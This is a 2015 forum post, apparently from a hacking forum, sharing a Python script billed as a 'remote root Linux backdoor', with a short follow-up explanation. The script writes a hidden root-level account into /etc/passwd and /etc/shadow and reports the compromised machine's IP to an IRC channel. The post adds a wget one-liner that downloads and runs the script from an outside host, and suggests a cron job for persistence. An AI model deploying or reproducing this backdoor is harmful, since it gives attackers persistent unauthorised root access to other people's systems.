python remote root Linux backdoor 07-19-2015, 09:01 PM
#1
Code:
#!/usr/bin/python2
import crypt
import subprocess
import string
import socket
import time
import random
import sys
import os
#config the following shit
USERNAME = "kibo"
PASSWORD = "kibo_backdoor"
SALT = "changeme"
HOME_DIRECTORY = "/"
SHELL = "/bin/bash"
SERVER = "irc.rizon.net"
CHANNEL = "#changeme"
PORT = 6667
#end of config
def main():
passwd = open("/etc/passwd", "a+")
passwd.write("{0}:x:0:0:root:{1}:{2}".format(USERNAME, HOME_DIRECTORY, SHELL))
passwd.close()
shadow_root_ln = ""
for x in open("/etc/shadow", "a+").read().split("\n"):
if "root" in x:
shadow_root_ln += x
break
shadow_root_ln_split = shadow_root_ln.split(":")
shadow_root_ln_split[0] = USERNAME
shadow_root_ln_split[1] = crypt.crypt(PASSWORD, "$6${0}".format(SALT))
shadow_string = ""
for x in shadow_root_ln_split:
shadow_string += x+":"
shadow_string = shadow_string[:-1]
open("/etc/shadow", "a+").write("{0}\n".format(shadow_string))
p = subprocess.Popen(["curl", "wtfismyip.com/text"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = p.communicate()
username = ''.join(random.choice(string.ascii_uppercase+string.ascii_lowercase) for _ in range(8))
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((SERVER, PORT))
sock.send("USER {0} {0} {0} :ilovedicklol\n".format(username))
sock.send("NICK {0}\n".format(username))
sock.send("JOIN {0}\n".format(CHANNEL))
sock.send("PRIVMSG {0} :rooted box available: {1}\n".format(CHANNEL, out))
time.sleep(5)
sock.send("DISCONNECT\n")
if __name__ == "__main__":
main()how this works is it creates a user by creating new entries in /etc/passwd and /etc/shadow
then connecting to a given irc server and channel and then retrieving the ip of the target box and sending it in the irc channel
also, this depends on python2
don't try it with python3
anyway yeah this is pretty simple and is in no way supposed to be secure or hidden
here's a oneliner if you need to backdoor a box superfast speed:
Code:
wget https://jii.moe/VJyHb3mu.py -o /tmp/kibo.py; chmod +x /tmp/kibo.py; /tmp/kibo.pyyou could also put this oneliner into a cron job to make sure the account gets added every hour should it be removed
give suggestions of improvement or whatever
(07-19-2015, 09:03 PM)Oni Wrote: You should explain it a bit more. You know, for stupid or confused people.
uh. okay, sure.
essentially the script creates a new user, and enters an irc channel and sends the ip of the box in that channel.
example:
Spoiler:
![[Image: jsokkhp.png]](http://g.1339.cf/jsokkhp.png)
as I said in the op, this shouldn't be considered silent.
![[+]](https://sinister.li/images/modern/collapse_collapsed.png)
![[Image: 7ajmN5P.jpg]](https://i.imgur.com/7ajmN5P.jpg)
